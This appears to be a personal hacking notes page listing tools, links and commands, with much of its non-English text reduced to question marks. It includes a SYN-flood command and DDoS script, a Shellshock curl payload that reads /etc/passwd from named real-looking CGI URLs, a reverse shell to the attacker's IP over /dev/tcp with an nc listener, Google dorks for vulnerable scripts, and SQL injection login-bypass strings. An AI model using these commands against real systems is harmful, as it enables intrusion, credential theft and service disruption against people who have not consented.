

A notes for being a hacker

????

- [Hack Tool-sipvicious](#)
- [Kali Linux Docker](#)
- [RFID Hack](#)
- [Scanning websites with Google](#)

Learning Hacker

TryHackMe

- <https://tryhackme.com/>
- [Video][TryHackMe! Basic Penetration Testing](#)

Hack The Box

- <https://www.hackthebox.eu/>

Scanner

- [Gobuster](#)

nmap

```
nmap -sC -sV -oA nmap/scan_output 100.100.100.100
```

DNS DDoS Tool

http://www.cc.ntu.edu.tw/chinese/epa...0320_2809.html

- [Tsunami](#)
- [Saddam](#)

DDoS Tool

hping3

```
hping3 -S --flood -V www.hping3testsite.com
```

<https://github.com/Ha3MrX/DDos-Attack>

```
python ddos-attack.py
```

Dirty Cow (CVE-2016-5195)

Release Date: 2016/10/19

Introduction to the vulnerability

- [How to fix Dirty Cow vulnerability in CentOS, RedHat, Ubuntu, Debian, CloudLinux and OpenSuse Linux servers](#)
- [Dirty COW Linux Kernel Vulnerability Fixed](#)

????????????? shell???????

NOTE????????? shell????????????? shell ????????????????

- ?????????? /etc/passwd ?????????? root ???
- ??????????????????????????????

RedHat ????

- <https://access.redhat.com/security/cve/CVE-2016-5195>
- <https://access.redhat.com/security/vulnerabilities/2706661>

????

- <https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs>
- <https://github.com/dirtycow/dirtycow.github.io/wiki/dirtycow.c>
- <https://github.com/gbonacini/CVE-2016-5195>

Resolution

- <https://bobcares.com/blog/dirty-cow-vulnerability/2/>
- https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c13
- RedHat
 - ? v7 : <https://rhn.redhat.com/errata/RHSA-2016-2098.html>
 - ? v6 : <https://rhn.redhat.com/errata/RHSA-2016-2106.html>
- CentOS
 - ? v7 : <https://lists.centos.org/pipermail/centos-announce/201610/022133.html>
 - ? v6 : <https://lists.centos.org/pipermail/centos-announce/201610/022134.html>

ShellShock (CVE-2014-6271)

- <https://securityblog.redhat.com/2014/09/02/remote-code-execution-attack/>
- <https://access.redhat.com/solutions/1207723>
- <http://lists.centos.org/pipermail/centos-announce/201409/146099.html>
- <http://exploiterz.blogspot.tw/2014/09/02/remote-code-execution-attack.html>

- <http://www.boxtricks.com/how-to-scan-for-shellshock/>

Scanning the target with Google

```
inurl:cgi-bin filetype:sh site:edu
inurl:/cgi-bin/ ext:sh
```

Attempt to get the username remotely

```
curl -A "() { ;;}; echo Content-type:text/plain;echo; /bin/cat /etc/passwd " http://www.physics.csbsju.edu/
cgi-bin/stats/dir.sh
```

Reverse SHELL

```
> php bash.php -u http://supreme.adisseolabservice.com/cgi-bin/wslb.sh -c ls
```

if it response as '**Command sent to the server!**', continue with the follows

```
> nc -lp 4444 -vv
```

Waiting untill the PHP command is completed.
If all goes well, you can issue any commands here.

Open another terminal. issue the command

```
> php bash.php -u http://supreme.adisseolabservice.com/cgi-bin/wslb.sh -c "/bin/bash -i >& /dev/tcp/
here.is.my.IP/4444 0>&1"
```

Hacking a website

- <http://www.rapid7.com/products/metasploit/download.jsp>
- http://www.offensive-security.com/me...AP_Web_Scanner
- <http://www.youtube.com/watch?v=9rKKdmLsKVI>
- <http://www.youtube.com/watch?v=EYxLtSuzwDM>

```
cd /pentest/web/nikto
perl nikto.pl -host 123.123.123.123
```

Metasploit

- [Nmap????\(??metasploit\)?TCP????\(TCP Idle Scan\)](#)

HTTP Method Enabled

- http://www.metasploit.com/modules/au.../http/http_put

- <http://www.youtube.com/watch?v=Pb6Nd7Cl5XM>
- <http://portswigger.net/burp/>

XSS - Cross-Site Scripting

- <http://www.youtube.com/watch?feature...v=WZCXIrW0xZ0#!>
- <http://www.hackersonlineclub.com/cro...-scripting-xss>
- <http://www.youtube.com/watch?v=wzbMU97ed1E>
- <http://www.crackhackforum.com/thread-221603.html>

SQL Injection

- <http://resources.infosecinstitute.co...ordpress-site/>
- [How To Hack a WebSite Using BackTrack 5 {SqlMap}](#)

Checking if the Login form with SQL Injection

<http://www.joellipman.com/articles/w...abilities.html>

```
// Username
admin' --
admin' #
admin'/*
```

```
// Password
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
```